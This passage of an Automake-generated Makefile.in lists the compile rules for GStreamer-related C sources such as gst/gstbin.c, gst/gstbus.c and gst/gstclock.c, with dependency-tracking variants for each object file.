@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o sinks.o `test -f 'generic/sinks.c' || echo '$(srcdir)/'`generic/sinks.c sinks.obj: generic/sinks.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT sinks.obj -MD -MP -MF $(DEPDIR)/sinks.Tpo -c -o sinks.obj `if test -f 'generic/sinks.c'; then $(CYGPATH_W) 'generic/sinks.c'; else $(CYGPATH_W) '$(srcdir)/generic/sinks.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/sinks.Tpo $(DEPDIR)/sinks.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='generic/sinks.c' object='sinks.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o sinks.obj `if test -f 'generic/sinks.c'; then $(CYGPATH_W) 'generic/sinks.c'; else $(CYGPATH_W) '$(srcdir)/generic/sinks.c'; fi` states.o: generic/states.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT states.o -MD -MP -MF $(DEPDIR)/states.Tpo -c -o states.o `test -f 'generic/states.c' || echo '$(srcdir)/'`generic/states.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/states.Tpo $(DEPDIR)/states.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='generic/states.c' object='states.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o states.o `test -f 'generic/states.c' || echo '$(srcdir)/'`generic/states.c states.obj: generic/states.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT states.obj -MD -MP -MF $(DEPDIR)/states.Tpo -c -o states.obj `if test -f 'generic/states.c'; then $(CYGPATH_W) 'generic/states.c'; else $(CYGPATH_W) '$(srcdir)/generic/states.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/states.Tpo $(DEPDIR)/states.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='generic/states.c' object='states.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o states.obj `if test -f 'generic/states.c'; then $(CYGPATH_W) 'generic/states.c'; else $(CYGPATH_W) '$(srcdir)/generic/states.c'; fi` gst.o: gst/gst.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gst.o -MD -MP -MF $(DEPDIR)/gst.Tpo -c -o gst.o `test -f 'gst/gst.c' || echo '$(srcdir)/'`gst/gst.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gst.Tpo $(DEPDIR)/gst.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gst.c' object='gst.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gst.o `test -f 'gst/gst.c' || echo '$(srcdir)/'`gst/gst.c gst.obj: gst/gst.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gst.obj -MD -MP -MF $(DEPDIR)/gst.Tpo -c -o gst.obj `if test -f 'gst/gst.c'; then $(CYGPATH_W) 'gst/gst.c'; else $(CYGPATH_W) '$(srcdir)/gst/gst.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gst.Tpo $(DEPDIR)/gst.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gst.c' object='gst.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gst.obj `if test -f 'gst/gst.c'; then $(CYGPATH_W) 'gst/gst.c'; else $(CYGPATH_W) '$(srcdir)/gst/gst.c'; fi` gstabi.o: gst/gstabi.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstabi.o -MD -MP -MF $(DEPDIR)/gstabi.Tpo -c -o gstabi.o `test -f 'gst/gstabi.c' || echo '$(srcdir)/'`gst/gstabi.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstabi.Tpo $(DEPDIR)/gstabi.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstabi.c' object='gstabi.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstabi.o `test -f 'gst/gstabi.c' || echo '$(srcdir)/'`gst/gstabi.c gstabi.obj: gst/gstabi.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstabi.obj -MD -MP -MF $(DEPDIR)/gstabi.Tpo -c -o gstabi.obj `if test -f 'gst/gstabi.c'; then $(CYGPATH_W) 'gst/gstabi.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstabi.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstabi.Tpo $(DEPDIR)/gstabi.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstabi.c' object='gstabi.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstabi.obj `if test -f 'gst/gstabi.c'; then $(CYGPATH_W) 'gst/gstabi.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstabi.c'; fi` gstbin.o: gst/gstbin.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstbin.o -MD -MP -MF $(DEPDIR)/gstbin.Tpo -c -o gstbin.o `test -f 'gst/gstbin.c' || echo '$(srcdir)/'`gst/gstbin.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstbin.Tpo $(DEPDIR)/gstbin.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstbin.c' object='gstbin.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstbin.o `test -f 'gst/gstbin.c' || echo '$(srcdir)/'`gst/gstbin.c gstbin.obj: gst/gstbin.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstbin.obj -MD -MP -MF $(DEPDIR)/gstbin.Tpo -c -o gstbin.obj `if test -f 'gst/gstbin.c'; then $(CYGPATH_W) 'gst/gstbin.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstbin.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstbin.Tpo $(DEPDIR)/gstbin.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstbin.c' object='gstbin.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstbin.obj `if test -f 'gst/gstbin.c'; then $(CYGPATH_W) 'gst/gstbin.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstbin.c'; fi` gstbuffer.o: gst/gstbuffer.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstbuffer.o -MD -MP -MF $(DEPDIR)/gstbuffer.Tpo -c -o gstbuffer.o `test -f 'gst/gstbuffer.c' || echo '$(srcdir)/'`gst/gstbuffer.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstbuffer.Tpo $(DEPDIR)/gstbuffer.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstbuffer.c' object='gstbuffer.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstbuffer.o `test -f 'gst/gstbuffer.c' || echo '$(srcdir)/'`gst/gstbuffer.c gstbuffer.obj: gst/gstbuffer.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstbuffer.obj -MD -MP -MF $(DEPDIR)/gstbuffer.Tpo -c -o gstbuffer.obj `if test -f 'gst/gstbuffer.c'; then $(CYGPATH_W) 'gst/gstbuffer.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstbuffer.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstbuffer.Tpo $(DEPDIR)/gstbuffer.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstbuffer.c' object='gstbuffer.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstbuffer.obj `if test -f 'gst/gstbuffer.c'; then $(CYGPATH_W) 'gst/gstbuffer.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstbuffer.c'; fi` gstbufferlist.o: gst/gstbufferlist.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstbufferlist.o -MD -MP -MF $(DEPDIR)/gstbufferlist.Tpo -c -o gstbufferlist.o `test -f 'gst/gstbufferlist.c' || echo '$(srcdir)/'`gst/gstbufferlist.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstbufferlist.Tpo $(DEPDIR)/gstbufferlist.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstbufferlist.c' object='gstbufferlist.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstbufferlist.o `test -f 'gst/gstbufferlist.c' || echo '$(srcdir)/'`gst/gstbufferlist.c gstbufferlist.obj: gst/gstbufferlist.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstbufferlist.obj -MD -MP -MF $(DEPDIR)/gstbufferlist.Tpo -c -o gstbufferlist.obj `if test -f 'gst/gstbufferlist.c'; then $(CYGPATH_W) 'gst/gstbufferlist.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstbufferlist.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstbufferlist.Tpo $(DEPDIR)/gstbufferlist.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstbufferlist.c' object='gstbufferlist.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstbufferlist.obj `if test -f 'gst/gstbufferlist.c'; then $(CYGPATH_W) 'gst/gstbufferlist.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstbufferlist.c'; fi` gstbus.o: gst/gstbus.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstbus.o -MD -MP -MF $(DEPDIR)/gstbus.Tpo -c -o gstbus.o `test -f 'gst/gstbus.c' || echo '$(srcdir)/'`gst/gstbus.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstbus.Tpo $(DEPDIR)/gstbus.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstbus.c' object='gstbus.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstbus.o `test -f 'gst/gstbus.c' || echo '$(srcdir)/'`gst/gstbus.c gstbus.obj: gst/gstbus.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstbus.obj -MD -MP -MF $(DEPDIR)/gstbus.Tpo -c -o gstbus.obj `if test -f 'gst/gstbus.c'; then $(CYGPATH_W) 'gst/gstbus.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstbus.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstbus.Tpo $(DEPDIR)/gstbus.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstbus.c' object='gstbus.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstbus.obj `if test -f 'gst/gstbus.c'; then $(CYGPATH_W) 'gst/gstbus.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstbus.c'; fi` gstcaps.o: gst/gstcaps.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstcaps.o -MD -MP -MF $(DEPDIR)/gstcaps.Tpo -c -o gstcaps.o `test -f 'gst/gstcaps.c' || echo '$(srcdir)/'`gst/gstcaps.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstcaps.Tpo $(DEPDIR)/gstcaps.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstcaps.c' object='gstcaps.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstcaps.o `test -f 'gst/gstcaps.c' || echo '$(srcdir)/'`gst/gstcaps.c gstcaps.obj: gst/gstcaps.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstcaps.obj -MD -MP -MF $(DEPDIR)/gstcaps.Tpo -c -o gstcaps.obj `if test -f 'gst/gstcaps.c'; then $(CYGPATH_W) 'gst/gstcaps.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstcaps.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstcaps.Tpo $(DEPDIR)/gstcaps.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstcaps.c' object='gstcaps.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstcaps.obj `if test -f 'gst/gstcaps.c'; then $(CYGPATH_W) 'gst/gstcaps.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstcaps.c'; fi` gstchildproxy.o: gst/gstchildproxy.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstchildproxy.o -MD -MP -MF $(DEPDIR)/gstchildproxy.Tpo -c -o gstchildproxy.o `test -f 'gst/gstchildproxy.c' || echo '$(srcdir)/'`gst/gstchildproxy.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstchildproxy.Tpo $(DEPDIR)/gstchildproxy.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstchildproxy.c' object='gstchildproxy.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstchildproxy.o `test -f 'gst/gstchildproxy.c' || echo '$(srcdir)/'`gst/gstchildproxy.c gstchildproxy.obj: gst/gstchildproxy.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstchildproxy.obj -MD -MP -MF $(DEPDIR)/gstchildproxy.Tpo -c -o gstchildproxy.obj `if test -f 'gst/gstchildproxy.c'; then $(CYGPATH_W) 'gst/gstchildproxy.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstchildproxy.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstchildproxy.Tpo $(DEPDIR)/gstchildproxy.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstchildproxy.c' object='gstchildproxy.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstchildproxy.obj `if test -f 'gst/gstchildproxy.c'; then $(CYGPATH_W) 'gst/gstchildproxy.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstchildproxy.c'; fi` gstclock.o: gst/gstclock.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstclock.o -MD -MP -MF $(DEPDIR)/gstclock.Tpo -c -o gstclock.o `test -f 'gst/gstclock.c' || echo '$(srcdir)/'`gst/gstclock.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstclock.Tpo $(DEPDIR)/gstclock.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstclock.c' object='gstclock.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstclock.o `test -f 'gst/gstclock.c' || echo '$(srcdir)/'`gst/gstclock.c gstclock.obj: gst/gstclock.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstclock.obj -MD -MP -MF $(DEPDIR)/gstclock.Tpo -c -o gstclock.obj `if test -f 'gst/gstclock.c'; then $(CYGPATH_W) 'gst/gstclock.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstclock.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstclock.Tpo $(DEPDIR)/gstclock.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstclock.c' object='gstclock.obj' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstclock.obj `if test -f 'gst/gstclock.c'; then $(CYGPATH_W) 'gst/gstclock.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstclock.c'; fi` gstelement.o: gst/gstelement.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstelement.o -MD -MP -MF $(DEPDIR)/gstelement.Tpo -c -o gstelement.o `test -f 'gst/gstelement.c' || echo '$(srcdir)/'`gst/gstelement.c @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/gstelement.Tpo $(DEPDIR)/gstelement.Po @am__fastdepCC_FALSE@ $(AM_V_CC) @AM_BACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='gst/gstelement.c' object='gstelement.o' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -c -o gstelement.o `test -f 'gst/gstelement.c' || echo '$(srcdir)/'`gst/gstelement.c gstelement.obj: gst/gstelement.c @am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) -MT gstelement.obj -MD -MP -MF $(DEPDIR)/gstelement.Tpo -c -o gstelement.obj `if test -f 'gst/gstelement.c'; then $(CYGPATH_W) 'gst/gstelement.c'; else $(CYGPATH_W) '$(srcdir)/gst/gstelement.c'; fi` @am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) 